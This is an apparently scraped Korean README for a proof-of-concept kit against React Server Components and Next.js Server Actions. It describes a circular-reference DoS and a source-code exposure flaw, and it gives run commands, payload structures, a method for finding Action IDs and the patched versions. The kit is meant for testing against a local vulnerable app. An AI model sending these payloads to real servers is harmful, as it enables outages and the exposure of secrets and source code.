Exploit for CVE-2025-55183 CVE-2025-55183 CVE-2025-55184 CVE-2025-67779

## https://sploitus.com/exploit?id=39F5BA54-CE49-5C5E-B494-A7772476A4D6
# React Server Components 취약점 테스트

React Server Components (RSC) 및 Next.js Server Actions의 보안 취약점을 테스트하기 위한 PoC 스크립트 모음입니다.

## 취약점 개요

### CVE-2025-55184 / CVE-2025-67779 (DoS)
- **유형**: Denial of Service (서비스 거부)
- **원인**: RSC 프로토콜에서 순환 참조(`$@0` ↔ `$@1`) 처리 시 무한 루프 발생
- **영향**: 서버 CPU 100% 점유, 서비스 중단
- **취약 버전**: react-server-dom-* 19.0.0 ~ 19.2.2

### CVE-2025-55183 (Source Code Exposure)
- **유형**: Information Disclosure (정보 노출)
- **원인**: Server Function 참조(`$F`)를 인자로 전달 시 `.toString()` 호출로 소스 코드 노출
- **영향**: 서버 측 코드, 환경 변수, 비밀키 노출 가능
- **취약 버전**: react-server-dom-* 19.0.0 ~ 19.2.2

## 파일 구조

```
vuln-test/
├── README.md
├── dos_exploit.sh              # DoS 취약점 테스트 스크립트
├── code_exposure_exploit.sh    # 소스 코드 노출 취약점 테스트 스크립트
└── vulnerable-rsc-app/         # 테스트용 취약 Next.js 앱
```

## 사용법

### 1. 테스트 환경 설정

```bash
cd vulnerable-rsc-app
npm install
npm run dev
```

### 2. DoS 취약점 테스트

```bash
./dos_exploit.sh [TARGET_URL]

# 예시
./dos_exploit.sh http://localhost:3000
```

**페이로드 구조:**
```
name="0": "$@1"  (청크 1 참조)
name="1": "$@0"  (청크 0 참조)
→ 순환 참조로 무한 루프
```

### 3. 소스 코드 노출 테스트

```bash
./code_exposure_exploit.sh  [TARGET_URL]

# 예시
./code_exposure_exploit.sh 60b5ebe42cc05bb60f77baf6199f9974b62b0053dd http://localhost:3000
```

**Action ID 찾는 방법:**
1. 브라우저 개발자 도구 → Network 탭
2. Server Action 호출 시 `Next-Action` 헤더 값 확인
3. 또는 페이지 소스에서 40자 hex 문자열 검색

**페이로드 구조:**
```
name="1": {"id":"","bound":null}  (Server Function 참조)
name="0": ["$F1"]  (청크 1을 인자로 전달)
→ 서버에서 전달된 인자를 toString()와 같이 문자열 변환 후 return에 포함되었을 때 소스 코드 노출
```

## RSC 프로토콜 참조 타입

| 접두사 | 의미 | 설명 |
|--------|------|------|
| `$F` | Function Reference | Server Function 참조 |
| `$@` | Promise/Chunk Reference | 다른 청크 참조 |
| `$K` | FormData Reference | FormData 청크 참조 |
| `$L` | Lazy Reference | 지연 로딩 참조 |

## 패치 버전

- react-server-dom-webpack: 19.0.3, 19.1.4, 19.2.3
- react-server-dom-turbopack: 19.0.3, 19.1.4, 19.2.3

## 면책 조항

이 도구는 **보안 테스트 및 교육 목적**으로만 사용해야 합니다. 허가 없이 타인의 시스템에 사용하는 것은 불법입니다.